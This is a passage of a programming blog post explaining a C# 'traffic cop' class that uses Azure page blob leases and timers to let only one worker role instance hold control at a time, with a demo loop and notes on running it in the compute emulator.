#include <hallo.h> * Mike Hommey [Thu, Jan 26 2006, 09:46:26PM]: > On Thu, Jan 26, 2006 at 04:12:35PM +0100, Josselin Mouette <joss@debian.org> wrote: > >. > > Boot speed and perl does not really sound a match either. Nack. Even following the synthetic benchmarks on, they are quite comparable, especially when looking at other candidates: Especially the startup time is much higher with Python so I wonder why people want to use it for many small maintainer scripts. The only improvement comes with use of Python Psycho which is IIRC still experimental and non-portable. Eduard. -- Everything is illusion. Constructs of language, light, metaphor; nothing is real. -- Babylon 5, Season 4 | https://lists.debian.org/debian-devel/2006/01/msg01862.html | CC-MAIN-2016-50 | refinedweb | 112 | 64.81 |
Jarvus.field.ListPicker
Jarvus.field.ListPicker
I
Last edited by themightychris; 30 Apr 2012 at 8:27 AM. Reason: added screenshotChief Architect @ Jarv.us Innovations
Co-captain @ Code for Philly
Co-founder @ Devnuts - Philadelphia Hackerspace
Any screenshots?
Thanks for sharing your work.
I just attached a screenshot to the top postChief Architect @ Jarv.us Innovations
Co-captain @ Code for Philly
Co-founder @ Devnuts - Philadelphia Hackerspace
Hi,
Here is the tutorial:
1st: Create a sample project:
Go to your sdk folder:
$ sencha app create jarvus-tutorial ~/Sites/jarvus-tutorial
$ cd ~/Sites/jarvus-tutorial
2nd - Download jarvus files
$ cd ~/Download
$ git clone
$ cd Jarvus.field.ListPicker
3rd - Make changes
Create folder
$ mkidr ~/Sites/ jarvus-tutorial/app/view/jarvus
Copy jarvus files to your project.
$ cp -rf field picker ~/Sites/jarvus-tutorial/app/view/jarvus/
Modify namespace.
4th - Create model
Code:
Ext.define('jarvus-tutorial.model.Contact', { extend: 'Ext.data.Model', config: { fields: ['id', 'name'] } });
Code:
Ext.define("jarvus-tutorial.view.Main", { extend: 'Ext.Panel', requires: [ 'jarvus-tutorial.model.Contact', 'jarvus-tutorial.view.jarvus.field.ListPicker' ], config: { items: { xtype: 'listpickerfield', valueField: 'id', displayField: 'name', store: { model:'jarvus-tutorial.model.Contact', sorters: 'name', grouper: { groupFn: function(record) { return record.get('name')[0]; } }, data: [ { id: '1', name: 'Tommy Maintz' }, { id: '2', name: 'Rob Dougan' }, { id: '3', name: 'Ed Spencer' }, { id: '4', name: 'Jamie Avins' }, { id: '5', name: 'Aaron Conran' }, { id: '6', name: 'Dave Kaneda' }, { id: '7', name: 'Jacky Nguyen' }, { id: '8', name: 'Abraham Elias' }, { id: '9', name: 'Jay Robinson'}, { id: '10', name: 'Nigel White' }, { id: '11', name: 'Don Griffin' }, { id: '12', name: 'Nico Ferrero' }, { id: '13', name: 'Jason Johnston'} ] }, grouped: true } } });
regards,
thx, I'm using this component on my app and work great
I have idea to add search box on top of the list so we can do searching also, but I'm still working on it not finished yet.
thx
I forgot to mention that it takes the same options as selectfield, thanks for putting the example together egatjens!Chief Architect @ Jarv.us Innovations
Co-captain @ Code for Philly
Co-founder @ Devnuts - Philadelphia Hackerspace
can the picker be destroyed after hidding?
can the picker be destroyed after hidding?
I inspect the dom. The picker is still there as a actionsheet does.
Can the picker be destroyed?
Thanks.
Thanks, great extension!
However, in Sencha Touch 2.1.0-b3 the list does not show up, when one clicks a select field (listpickerfield). Only the 'clear' and 'cancel' buttons are shown. In Sencha Touch 2.0.1 everything works fine.
Who is able to help with this? Thanks in advance! | http://www.sencha.com/forum/showthread.php?199803-Jarvus.field.ListPicker&p=868138&viewfull=1 | CC-MAIN-2014-35 | refinedweb | 426 | 59.7 |
Please tell me the contents of the following csv file introduced in this book and the EIKON API Code to get the same data. This book does not describe how to obtain the data, but instead provides EIKON data as a sample file. With "get_timeseries" I couldn't reproduce the exact same data.
data = ek.get_timeseries(['AAPL.O', 'MSFT.O', 'INTC.O', 'AMZN.O', 'GS.N',' SPY', '.SPX', '.VIX', 'EUR=', 'XAU=', 'GDX', 'GLD'], ['CLOSE'], '2010-1-1','2020-10-1') data
ValueError: The truth value of a DataFrame is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all().
@Takeshi.Matsuda You should be aware of the API limits - you can find these in this document. You will notice that the get_timeseries API call has a limit of '3,000 data points (rows) for interday intervals and 50,000 data points for intraday intervals. This limit applies to the whole request, whatever the number of requested instrument.'
Please try this code which iterates across the instrument list to get the correct data without truncation due to limits.
import eikon as ek import pandas as pd import numpy as np instruments = ['AAPL.O', 'MSFT.O', 'INTC.O', 'AMZN.O', 'GS.N',' SPY', '.SPX', '.VIX', 'EUR=', 'JPY=', 'GDX', 'GLD'] s = '2010-01-01' e = '2020-10-1' inv = 'daily' data1 = pd.DataFrame() for i in instruments: df1 = ek.get_timeseries(i, # RICs fields=['CLOSE'], # fields to be retrieved start_date=s, # start time end_date=e, # end time interval=inv) df1.rename(columns = {'CLOSE': i}, inplace = True) if len(data1): data1 = pd.concat([data1, df1], axis=1) else: data1 = df1 data1
I hope this can help.
The result is what I want !
Thank you for providing the code quickly and accurately.
How do you get around the restrictions? Are you narrowing down the data to be acquired each time (that is, dividing the data)?
@Takeshi.Matsuda If you look at the code you will see that we are iterating over each RIC (for i in instruments:) - so each RIC is being requested in its own API call, thereby having its own limit of 3000 rows. Then we are just concatenating each of these to our desired dataframe so we end up with the complete dataframe you see at the end.
Hi @Takeshi.Matsuda,
Regarding the second issue:
- ValueError: The truth value of a DataFrame is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all().
Could you detail which version of eikon lib you are using ?
Query to retrieve average FX Rates
Company trees don't match in Eikon online tool and the Eikon Proxy API
Retrieve all broker esitmates for a given RIC/instrument
I would like to know whether the Data Limits of Eikon API may change if I subscribe to a "larger" (and costlier?) account
How can I get historical ESG data? | https://community.developers.refinitiv.com/questions/67284/how-to-get-the-same-csv-data-as-the-sample-file-of.html | CC-MAIN-2021-17 | refinedweb | 476 | 71.85 |
When you run a Qt program you can specify several command line options that can help with debugging.
gdbdebugger under Linux. ) { ASSERT( size > 0 ); char *p = new char[size]; CHECK_PTR( p ); return p; }
If you define the flag QT_FATAL_ASSERT, ASSERT will call fatal() instead of warning(), so a failed assertion will cause the program to exit after printing the error message.
Note that the ASSERT macro is a null expression if
CHECK_STATE (see
below) is not defined. Any code in it will simply not be
executed. Similarly CHECK_PTR is a null expression if
CHECK_NULL is
not defined. Here is an example of how you should NOT use ASSERT and
CHECK_PTR:
char *alloc( int size ) { char *p; CHECK_PTR( p = new char[size] ); // never do this! return p; }
The problem is tricky: p is set to a sane value only as long as the correct checking flags are defined. If this code is compiled without the CHECK_NULL flag defined, the code in the:
CHECK_STATE:Check for consistent/expected object state
CHECK_RANGE:Check for variables range errors
CHECK_NULL:Check for dangerous null pointer
CHECK_MATH:Check for dangerous math, e.g. division by 0.
NO_CHECK:Turn off all CHECK_... flags
DEBUG:Enable debugging code
NO_DEBUG:Turn off DEBUG flag
By default, both DEBUG and all the CHECK flags are on. To turn off DEBUG, define NO_DEBUG. To turn off the CHECK flags, define NO_CHECK.
Example:
void f( char *p, int i ) { #if defined(CHECK_NULL) if ( p == 0 ) qWarning( "f: Null pointer not allowed" ); #endif #if defined message.
Any link error complaining about a lack of
vtbl,
_vtbl,
__vtbl or similar is likely to be
this problem. | http://doc.trolltech.com/2.3/debug.html | crawl-001 | refinedweb | 272 | 63.39 |
LINQ to XML techniques: building a basic XML document
September 9, 2016 Leave a comment
XML may have fallen out of use compared to JSON recently but it still has a couple of good features, such as schema and namespace support. It provides the basis for standards such as XHTML, SVG, MathML and many others. The web is full of resources that discuss the pros and cons of XML and JSON, here are a few of them:
- XML and JSON on StackOverflow
- Advantages of XML over JSON
- An alternative reading about why we should not compare XML and JSON
So from time to time you may still be exposed to XML in a .NET project. The System.Xml namespace offers classes with which you can build XML documents. Examples includes XmlDocument, XmlElement and XmlAttribute. However, there’s a more fluent and modern way of working with XML in code. LINQ to XML is located in the System.Xml.Linq namespace and it offers a very good library to build, modify and consume XML documents. Let’s start off with the most basic objects:
- XDocument: represents an XML document
- XElement: represents an element within a document such as a node
- XAttribute: represents an XML attribute
Here comes a short example code:
XDocument bandsDocument =))));
The root of the document will be “Bands” which is given by the first XElement object in the XDocument constructor. Note how XDocument accepts a parameter array of objects which allows us to provide all the nodes of the document. XElement also accepts an array of sub-elements, so we can easily provide the constituent nodes and their attributes. It’s easy to get lost with all those brackets but here’s what the above code produces:
<Bands> <Band genre="rock"> <Name>Queen</Name> <NumberOfMembers>4</NumberOfMembers> </Band> <Band genre="progressive"> <Name>Genesis</Name> <NumberOfMembers>5</NumberOfMembers> </Band> <Band genre="metal"> <Name>Metallica</Name> <NumberOfMembers>4</NumberOfMembers> </Band> </Bands>
You can simply call bandsDocument.ToString() to see the resulting XML.
An additional benefit of building the XML document in code like above is that the code itself can be structured and indented in a way that represents the resulting XML document. In other words it’s easier for the developer to guess what the resulting XML document will look like.
That was easy and straightforward I hope. We’ll explore LINQ to XML on this blog in the coming months.
You can view all LINQ-related posts on this blog here. | https://dotnetcodr.com/2016/09/09/linq-to-xml-techniques-building-a-basic-xml-document/ | CC-MAIN-2021-43 | refinedweb | 413 | 58.21 |
- Code: Select all
class Database(object):
def __init__(self):
self._by_name = {}
self._by_tel = {}
self._by_cell = {}
self._by_house = {}
self._by_street = {}
self._by_town = {}
self._by_city = {}
self._by_zipcode = {}
def new_entry(self, name, tel=None, cell=None, house=None,
street=None, town=None, city=None, zipcode=None):
entry = Entry(name, tel, cell, house, street, town, city, zipcode)
# example of updating one attribute
if name in self._by_name:
self._by_name.append(entry)
else:
self._by_name = [entry]
def lookup(self, name):
if name in self._by_name:
return self._by_name[name]
return False
def delete_entry(self, entry):
return
def edit_entry(self, entry):
return
def find_entry(self, name=None, tel=None, cell=None, house=None,
street=None, town=None, city=None, zipcode=None):
return
After the comment is an if else block which updates the _by_name attribute (which is a dictionary). Other than coding 8 different if else blocks like that one to update each dictionary, what's the correct or pythonic way to do this. I imagine there must be a few ways.
I was trying out some things with self.__dict__ and self.__getattribute__() but am not satisfied.
The purpose of having 8 separate dictionaries originally was for the find_entry() method. Maybe the structure of the class so far is just wrong. Any suggestions appreciated. | http://www.python-forum.org/viewtopic.php?p=1382 | CC-MAIN-2015-18 | refinedweb | 209 | 50.94 |
.
Well, something's exploding, that's for sure!
I've seen more epic battles with that super star destroyer... where it's pwning 3 different capitol ship heroes surrounding it at once.
Looks very good. The rebel/new republic logo will be added in 1.3?
SuperStarDestroyers are the best ships in Star Wars
next the almighty A-wing surely you jest!
NAW my favourite has got to be the humble yet badass Dreadnaught
the dreadnaught is all well and good, but when you combine six, you get my favorite design, in Outbound flight! after all, 6 dreadnuaghts > one dreadnuaght.
overall however, my favorite ship in star wars is either the hammerhead or the republic class destroyer. the dreadnaught is easily third though :)
nice choice, i wish people put the mandator class battlecrusier in more mods
agreed
hey can you make different explosion effects because the small ones are looking the same just bigger and smaller
i like the effects, however (there always is a but or however i sorry :P) i never liked the amounts of flak that appeared. granted, the flak effects are awesome and amazing, but theres alway so much flak when a ssd fires at a single squadron of x-qings and theres flak on the other side of the ship with no one near it. i just had to point that out and its not anything that can really be fixed but it always nagged at me.
Just got done pwning an Empire of the Hand fleet with 2 of these babies. These ships are awesome
Damn see that SSD throwing all that weapon fire at that SD | http://www.moddb.com/mods/thrawns-revenge/images/lusankyas-revenge | CC-MAIN-2017-04 | refinedweb | 273 | 77.67 |
Recently I needed to create a megabyte file full of random bytes in order to test network bandwidth with an uncompressible file. I decided to try using Java, it was simple and had a reasonable random number generator. So here’s the resulting script:
#!/bin/sh # testbandwidth host login passwd host=$1; login=$2; pass=$3 echo "Building mbyte file" cd /tmp cat <<EOF> test.java import java.util.*; class test { public static void main (String args[]) { try { Random r = new Random(); byte[] data = new byte [1024*1024]; r.nextBytes(data); System.out.write(data,0,data.length); } catch (Exception e) { System.out.println(e); } } } EOF javac test.java java test>mbyte echo "Upload Test" ftp -i -n -v $host << EOF user $login@$host $pass put mbyte EOF echo "Download Test" ftp -i -n -v $host << EOF user $login@$host $pass get mbyte EOF
Well, that’s sorta nifty, but boy is the java a verbose hunk of the code! Lets enumerate some of the irritations:
- Have to create the temporary .java and .class files somewhere (here we used /tmp) rather than have it simply execute the commands in place.
- I’ve got to make a class and a static void Main method in the class, the Java cliché for building an application.
- Then it all gets wrapped with a try/catch construct due to possible I/O errors.
- Testing is tedious, requiring compilation and running rather than more immediate feedback.
- The flow of the Unix script is broken up .. its hard to tell, for example, what the point of it all is!
Well, I often use
BeanShell
while hacking because its so easy to test a piece of code w/o the compile/run steps. (See
this article) I just keep a shell running and cut & paste code pieces from my project. So being somewhat comfortable with BeanShell, I decided to replace the Java part of the above script w/ the BeanShell equivalent.
cat<<EOF>/tmp/temp.bsh r = new java.util.Random(); data = new byte [1024*1024]; r.nextBytes(data); System.out.write(data,0,data.length); EOF java bsh.Interpreter /tmp/temp.bsh > mbyte
So we’ve replaced 17 lines of Java code with 7 lines almost identical code, but without the verbosity. Very readable and appropriate, and quite readable. (Note that we still had to create a temporary file due to BeanShell not coming with a “wrapper” shell script that would handle stdin as program text. Minor.) The treat for me was the ability to use the standard, well documented (JavaDoc) classes easily from scripts. Note that I did not bother with an import statement, I fully specified the Random class. Due to “loose typing” allowed by BeanShell, I could avoid the equivalent
java.util.Random r = new java.util.Random();
..which seemed to warrant the use of the import statement.
Wanting to fuss with this a bit more, I rewrote this all in
PNuts, a Java Shell written with a slightly different set of goals (see
this article). It uses incremental compilation for speed, and has a Java-like syntax but with several differences. For example, rather than Java’s
import java.util.*
form, PNuts uses a procedure form:
import("java.util.*")
So the PNuts form of the Java code is:
pnuts<<EOF>mbyte r = class java.util.Random() data = byte [1024*1024] r.nextBytes(data) class java.lang.System::out.write(data,0,data.length) EOF
Slightly shorter due to being able to use a “here file” for stdin.
There have been several articles on Java scripting languages,
this one
includes these two and several others. And
this article
collects all the languages that run on top of the Java VM.
Have you had good luck w/ these or other Java scripting languages? Jython seems interesting, for example.
Get rid of sh
What about writing the whole thing in a scripting language like groovy. Writing to a source file then compiling and executing it seems like a pain.
You can use a java FTP library to do the ftp. If you want to call a command line tool, I'm working on shell integration for groovy.
Relative value of scripting Java
Scripting Java is a light way of constructing Java classes that can be used from an interactive environment. This might be useful for the ocasional usage of a Java library but care should be taken not to extend this approach to larger problems. Unless there is a clear client-service contract between the script and the class, and the class has been thoroughly tested outside the scripted environment, the scripting is likely to create more problems than solutions:
- Development of the Java class becomes intertwined with the development of the script, whereas Java development is much different from script writing. To use Java well, it is necessary to master main(String[]) for starters, then move on to junit and ant;
- Compreheension of the script rapidly deteriorates, and so does the compreheension of the Java classes;
- Collaborative development becomes almost impossible: the Java community will likely not help out with a class written inside a script;
- The class(es) cannot easily be reused by other clients;
It pays to follow the development conventions of a community, and to understand its culture. There should be a separation between the client (script) and the service (Java program). This applies to all languages, not just Java.
Where there is some real value is in approaches that make a programming language other than Java interact with a JVM (e.g., Jython, Mathematica with J/Link).
why java
unix: dd if=/dev/random of=file count=1024 bs=1024
perl: perl -e 'print map { pack( "c",rand(255 ) } ( 1..1024*1024 ) '
Judoscript
This would be about as small in Judoscript (). Groovy would also be a nice choice.
why java
dang, you beat me to it. | http://www.oreillynet.com/onjava/blog/2004/01/java_scripting_half_the_size_h.html | crawl-002 | refinedweb | 976 | 64.41 |
Created on 2011-04-20 16:08 by phammer, last changed 2011-06-25 13:02 by rhettinger. This issue is now closed.
"""
A point of confusion using the builtin function 'enumerate' and
enlightenment for those who, like me, have been confused.
Note, this confusion was discussed at length at
prior to the 'start' parameter being added to 'enumerate'. The
confusion discussed herein was forseen in that discussion, and
ultimately discounted. There remains, IMO, an issue with the
clarity of the documentation that needs to be addressed. That
is, the closed issue at
concerning the 'enumerate' docstring does not address the confusion
that prompted this posting.
Consider:
x=['a','b','c','d','e']
y=['f','g','h','i','j']
print 0,y[0]
for i,c in enumerate(y,1):
print i,c
if c=='g':
print x[i], 'y[%i]=g' % (i)
continue
print x[i]
This code produces the following unexpected output, using python 2.7,
which is apparently the correct behavior (see commentary below). This
example is an abstract simplification of a program defect encountered
in practice:
>>>
0 f
1 f
b
2 g
c y[2]=g
3 h
d
4 i
e
5 j
Traceback (most recent call last):
File "Untitled", line 9
print x[i]
IndexError: list index out of range
Help on 'enumerate' yields:
>>> help(enumerate)
Help on class enumerate in module __built]), ...
|
| Methods defined here:
|
| __getattribute__(...)
| x.__getattribute__('name') <==> x.name
|
| __iter__(...)
| x.__iter__() <==> iter(x)
|
| x.next() -> the next value, or raise StopIteration
|
| ----------------------------------------------------------------------
| Data and other attributes defined here:
|
| __new__ = <built-in method __new__ of type object>
| T.__new__(S, ...) -> a new object with type S, a subtype of T
>>>
Commentary:
The expected output was:
>>>
0 f
1 g
b y[2]=g
2 h
c
3 i
d
4 j
e
>>>
That is, it was expected that the iterator would yield a value
corresponding to the index, whether the index started at zero or not.
Using the notation of the doc string, with start=1, the expected
behavior was:
| (1, seq[1]), (2, seq[2]), (3, seq[3]), ...
while the actual behavior is:
| (1, seq[0]), (2, seq[1]), (3, seq[2]), ...
The practical problem in the real world code was to do something
special with the zero index value of x and y, then run through the
remaining values, doing one of two things with x and y, correlated,
depending on the value of y.
I can see now that the doc string does in fact correctly specify the
actual behavior: nowhere does it say the iterator will begin at any
other place than the beginning, so this is not a python bug. I do
however question the general usefulness of such behavior. Normally,
indices and values are expected to be correlated.
The correct behavior can be simply implemented without using
'enumerate':
x=['a','b','c','d','e']
y=['f','g','h','i','j']
print 0,y[0]
for i in xrange(1,len(y)):
c=y[i]
print i,c
if c=='g':
print x[i], 'y[%i]=g' % (i)
continue
print x[i]
This produces the expected results.
If one insists on using enumerate to produce the correct behavior in
this example, it can be done as follows:
"""
x=['a','b','c','d','e']
y=['f','g','h','i','j']
seq=enumerate(y)
print '%s %s' % seq.next()
for i,c in seq:
print i,c
if c=='g':
print x[i], 'y[%i]=g' % (i)
continue
print x[i]
"""
This version produces the expected results, while achieving clarity
comparable to that which was sought in the original incorrect code.
Looking a little deeper, the python documentation on enumerate states:
enumerate(sequence[, start=0])]),
This makes a pretty clear implication the value corresponds to the
index, so perhaps there really is an issue here. Have at it. I'm
going back to work, using 'enumerate' as it actually is, now that I
clearly understand it.
One thing is certain: the documentation has to be clarified, for the
confusion foreseen prior to adding the start parameter is very real.
"""
If you know what an iterator is, the documentation, it seems to me, is clear. That is, an iterator cannot be indexed, so the behavior you expected could not be implemented by enumerate.
That doesn't meant the docs shouldn't be improved. An example with a non-zero start would make things clear.
Note: 3.x correct gives the signature at enumerate(iterable, start) rather that enumerate(sequence, start).
I agree that the current entry is a bit awkward. Perhaps the doc would be clearer with a reference to zipping. Removing the unneeded definition of *iterable* (which should be linked to the definition in the glossary, along with *iterator*), my suggestion is:
'''
enumerate(iterable, start=0)
Return an enumerate object, an *iterator* of tuples, that zips together a sequence of counts and *iterable*. Each tuple contain a count and an item from *iterable*, in that order. The counts begin with *start*, which defaults to 0. enumerate() is useful for obtaining an indexed series: enumerate(seq) produces (0, seq[0]), (1, seq[1]), (2, seq[2]), .... For another example, which uses *start*:
>>> for i, season in enumerate(['Spring','Summer','Fall','Winter'], 1):
... print(i, season)
1 Spring
2 Summer
3 Fall
4 Winter
'''
Note that I changed the example to use a start of 1 instead of 0, to produce a list in traditional form, which is one reason to have the parameter!
+1 to what David says.
Terry’s patch is a good starting point; I think Raymond will commit something along its lines.
I've got it from here. Thanks.
"""
Changing the 'enumerate' doc string text from:
| (0, seq[0]), (1, seq[1]), (2, seq[2]), ...
to:
| (start, seq[0]), (start+1, seq[1]), (start+2, seq[2]), ...
would completely disambiguate the doc string at the modest cost of
sixteen additional characters, a small price for pellucid clarity.
The proposed changes to the formal documentation also seem to me to
be prudent, and I hope at this late writing, they have already been
committed.
I conclude with a code fragment for the edification of R. David Murray.
"""
class numerate(object):
"""
A demonstration of a plausible incorrect interpretation of
the 'enumerate' function's doc string and documentation.
"""
def __init__(self,seq,start=0):
self.seq=seq; self.index=start-1
try:
if seq.next: pass #test for iterable
for i in xrange(start): self.seq.next()
except:
if type(seq)==dict: self.seq=seq.keys()
self.seq=iter(self.seq[start:])
def next(self):
self.index+=1
return self.index,self.seq.next()
def __iter__(self): return self
if __name__ == "__main__":
#s=['spring','summer','autumn','winter']
s={'spring':'a','summer':'b','autumn':'c','winter':'d'}
#s=enumerate(s)#,2)
s=numerate(s,2)
for t in s: print t
New changeset 0ca8ffffd90b by Raymond Hettinger in branch '2.7':
Issue 11889: Clarify docs for enumerate.
New changeset d0df12b32522 by Raymond Hettinger in branch '3.2':
Issue 11889: Clarify docs for enumerate.
New changeset 9b827e3998f6 by Raymond Hettinger in branch 'default':
Issue 11889: Clarify docs for enumerate. | https://bugs.python.org/issue11889 | CC-MAIN-2021-49 | refinedweb | 1,188 | 54.32 |
Skyler Hartle is on the Azure Functions team and focuses on APIs, growth hacking, and other neat things.
*record scratch*
*freeze frame*
Yup, that's me. You're probably wondering how a former JavaScript developer ended up using Azure Functions for all his API-related projects.
Before I joined Microsoft, I spent most of my days developing API-related applications using Node.js, or more specifically, I leveraged the MERN stack (MongoDB, Express, React, and Node) to create different applications, back when that was still the hotness.
Like many of us, I gravitated towards the simplicity provided by something like Node.js + Express together. It just worked. And it was fast to get started. Easy to spin up new projects and services as needed. As time progressed, I eventually gravitated towards the next shiny thing -- JAMstack (JavaScript, APIs, Markdown) -- because of a similar allure; discrete layers, speed, ease of use, and an appealing mental model for developing new applications that made sense to me.
The technologies involved all had a similar theme:
After I joined Microsoft (and subsequently joining the Azure Functions team), I discovered a spooky truth. Many, many people were using serverless platforms, like Azure Functions, for their API-related applications. It turns out that building APIs is one of the most popular use cases for Azure Functions-- for good reasons.
I immediately began investigating what this meant for somebody like myself, a developer with a strong passion for APIs and good API development and API design, and this is what I discovered along the way.
Why developing APIs with Azure Functions is a good great the best thing
The programming model for Azure Functions requires that you create small, single units of compute that are perfect for routes in an API. If you're coming from a background using other frameworks, such as ASP.NET, Django, Flask, Express, Koa, etc, you're already familiar with an application model that has an opinionated way of creating routes for your API. The jump from this mental model to using something like Azure Functions is not difficult and is more of an evolution of this existing way of doing things than a complete divergence.
If you aren't familiar with Azure Functions, here's a quick overview:
- Azure Functions is a "functions-as-a-service" platform, allowing you to run code in the cloud without managing servers.
- In Azure Functions, you create function apps.
- Inside a function app, you have a series of functions.
- Inside those functions, that's where your code lives.
- Thus, a function app is just a collection of functions, with each function containing a bit of code, and that's it!
Much in the same way that a framework such as Flask (for Python) or Express (for Node) might generate scaffolding code and files for you, Azure Functions just goes one step further by providing the scaffolding and the hosting environment to run your API.
Here's an example of how you might use Azure Functions to create an API:
- You create a function app (a grouping of multiple functions) called "UserAPI".
- Inside this function app, you create four functions, each of which responds to an HTTP request in a different way: GetUser, CreateUser, ModifyUser, DeleteUser.
- Write the business logic inside each individual function, corresponding to each specific route.
- A new URL is generated per function (not per function app!), that you can direct specific requests towards, such as GET, POST, PATCH, and DELETE requests. For example, a GET request may be directed towards GetUser, POST requests towards CreateUser, PATCH requests towards ModifyUser, and DELETE requests directed towards DeleteUser.
Each function is self-contained, allowing you to modify the business logic within the function, add additional dependencies to the function, without polluting the scope of the other routes, or introducing unnecessary complexity elsewhere in the global scope of your application.
The business logic for each function may differ, but the way you create a new function is the same.
The image below reflects the same function app structure as outlined in the numbered steps above.
To sum up why all of this is a good thing:
- A function is a discrete unit of compute, encapsulated and living within its own context. This allows you to pull in only the dependencies you need, for the exact logic you're trying to run.
- Spinning up a new function via VS Code is without a doubt the fastest way to create a new, external API, compared to other methods such as virtual machines.
- Azure Functions provides not only ready-made scaffolding for writing an API, but all the necessary hosting.
- Serverless models enable consumption-based pricing which means you pay nothing when there is no traffic hitting against your API.
- When there is massive traffic hitting your API, functions will automatically scale with respect to demand, ensuring no outages for this often critical layer of your application infrastructure.
The 'Hello, world' tutorial, HTTP endpoint style
If you want to test out Azure Functions for yourself, you can follow the very (overly) simple instructions below to try this for yourself, in only four steps. The simplified tutorial below will provision a new function app for you, with a single function, exposed to the world as an HTTP endpoint.
- Prerequisite: install the Azure Functions VS Code extension.
- Once installed, open the Azure Functions extension and click 'Create New Project', select a folder for your project.
- When prompted, select 'HTTP trigger' as your template and hit enter a few times (don't worry about those pesky details).
- Click 'Deploy to Function App’.
- Once the deployment has finished, you can browse into the resource group, find the function, and right click to copy the newly created function URL.
- Throw that thing into your favorite browser, and see the results!
'Create New Project' button, on the Azure Functions extension.
'Deploy to Function App' button, on the Azure Functions extension.
Find the URL for your newly deployed function.
The above example is just a quick intro, but it works! Your application can't do anything meaningful, but if you want to do more with the function app you just created, the structure is in place for you to add business logic to your API now with minimal effort.
If you want a more comprehensive tutorial, you can read our quickstarts to learn how to do this in a variety of different environments.
Generating a function app from OpenAPI specifications
Let's crank this sucker up to 11.
If you're already in-the-know with APIs, it's likely you're either using or at least familiar with OpenAPI specifications (Swagger). OpenAPI specifications are machine-readable documents that describe RESTful API services, which has a number of useful purposes.
There are two main schools of thoughts on when/how to use OpenAPI specifications:
- Code-first, where you develop an API, and then generate a file such as an OpenAPI specification, or...
- Design-first, where you write a document, such as an OpenAPI specification, that describes the intended functionality of the API.
More recently, design-first API development has been getting attention, especially when leveraging a descriptive document such as an OpenAPI specification. This document effectively becomes a contract; teams of people can develop against an agreed upon OpenAPI specification, knowing that this document reflects the truth of the API. An OpenAPI specification serves as the contract, documentation, and source of truth for the API, making it a great way to plan out an API for a service.
To support the design use case, we recently released an update to our Azure Functions VS Code extension that lets you generate a function app from an OpenAPI specification. This is a brand new feature (in preview), with support for TypeScript, Python, Java, and C#. JavaScript and PowerShell coming soon!
For developers familiar with something like Flask or Express, this functionality basically creates all of the scaffolding necessary to get started building an API, similar to how you might use one of the aforementioned frameworks. It goes beyond that, too, inferring important route information from your OpenAPI specification and automatically generating route-related details within your function for things like parameters. You can check out the GitHub repo for more documentation, or go through this simplified quickstart:
To check this out, all you need to do is:
- Prerequisite: Make sure you have the latest version of the Azure Functions VS Code extension installed.
- Prerequisite: You’ll also need the correct language runtimes installed for the type of function app you want to create.
- Prerequisite: Install AutoRest, which is used as a dependency by the plugin.
- Create a new function app and choose the 'HTTP trigger(s) from OpenAPI V2/V3 Specification'.
- Choose your language of choice (TypeScript, Python, C#, or Java).
- Select your OpenAPI specification, and boom! Magic starts to happen!
To see the magic happening, the following gif steps you through this process for a Python app, and shows the end result:
A complementary functionality is also (coming soon) in the Azure API Management VS Code extension, wherein you will be able to generate a function app from an existing API you are managing within API Management. If you’re interested in learning more about how you can explore Azure Functions and Azure API Management together, we recently published a new workshop on Serverless APIs on GitHub.
We also support the ability to do this from CLI commands, as well, as shown in the example below:
autorest --azure-functions-typescript --input-file:C:\\path\\to\\spec.json --output-folder:./generated-azfunctions --version:3.0.6314 --no-namespace-folders:true
For more examples of this, refer back to the GitHub repository for this new feature.
Wrapping this thing up
For those of you who work extensively on API-related use cases and are considering making the switch, I highly recommend examining the value that something like Azure Functions can bring to your development process (and the improvements to your quality of life). I’m a paid shill for Azure Functions, so of course, take what I say with a grain of salt, but as a lifelong developer and lover of technology, I would never advocate for something I didn’t believe in.
Let us know how we can make Functions better for you. Tweet us @azurefunctions , or you can send me a message, @skylerhartle , on Twitter, if you want to chat.
Discussion
Hey Skyler, This is great! I have been wondering for a while which way to build API's as a noob, and this gives me a bit more context on how to go spec first - thank you.
One thing I've been having issues with Azure Functions is how to authenticate users to them via Azure B2C as part of an app (I'm using React). Are there any resources you recommend?
The walkthroughs/tutorials offered by Microsoft really don't cut it as they are really really fragmented and are very 'here's a bunch of steps' rather than 'here's the gist of what you need to do, why you need to do it, and then how we do it'.
The rapidly evolving nature of Azure Functions seems to be against it as documentation is going out of date very quickly.
Hey Liam!
No kidding re: the evolving nature of Functions. It's hard to keep up with the constant changes, but we're trying to do our best. Have you looked into using the consumption tier for Azure API Management to do this? It's the path we recommend for API related workloads:
Secure an Azure API Management API with Azure AD B2C
APIM supports AAD B2C out of the box. You essentially will throw a proxy in front of your Function via APIM, and then leverage the capabilities APIM provides. You can link/create a new APIM instance via the Azure Functions portal blade (it's under "API Management"), which would be the fastest way to spin up a new API that's linked to your function app.
I understand it may seem counterintuitive to spin up a new service for a single feature, but IMO, using API Management for throttling, authentication/authorization, etc, is a nice way to abstract those details and establish a good foundation for the future.
Would love to hear your thoughts re: if this is overkill for you or not.
Excellent article Skyler. Thanks for sharing.
Lovely read! | https://practicaldev-herokuapp-com.global.ssl.fastly.net/azure/going-from-0-to-11-with-rest-apis-on-azure-functions-f2n | CC-MAIN-2020-50 | refinedweb | 2,071 | 59.23 |
This page shows you how to use an inline Google APIs Explorer template to delete Cloud Dataproc cluster. You can learn how to do the same task using the Google Cloud Platform Console in Quickstart Using the Console or using the command line in Quickstart using the gcloud command-line tool.
Before you beginThis quickstarts assumes you have already created a Cloud Dataproc cluster. You can use the APIs Explorer, the Google Cloud Platform Console, or the Cloud SDK gcloud command-line tool to create a cluster.
Delete a cluster
To delete a cluster, fill in the APIs Explorer template, below, as follows:
- Enter you project ID (project name) in the
projectIDfield.
The filled-in template specifies:
region= "global".
globalis the default region when a Cloud Dataproc cluster is created. This is a special multi-region namespace that is capable of deploying instances into all Compute Engine zones globally when a Cloud Dataproc cluster is created. If you created your cluster (see APIs Explorer—Create a cluster) in a different region, replace "global" with the name of your cluster's region.
clusterName= "example-cluster". This is the name of the Cloud GCP Console—Clusters.
Congratulations! You've used the Google APIs Explorer to delete a Cloud Dataproc cluster.
What's next
- Learn how to write and run a Scala job.
- Learn how to install and run a Jupyter notebook. | https://cloud.google.com/dataproc/docs/quickstarts/quickstart-explorer-delete?hl=da | CC-MAIN-2019-26 | refinedweb | 229 | 62.88 |
From: Ralf Wildenhues (Ralf.Wildenhues_at_[hidden])
Date: 2005-11-23 02:38:05
Hi George,
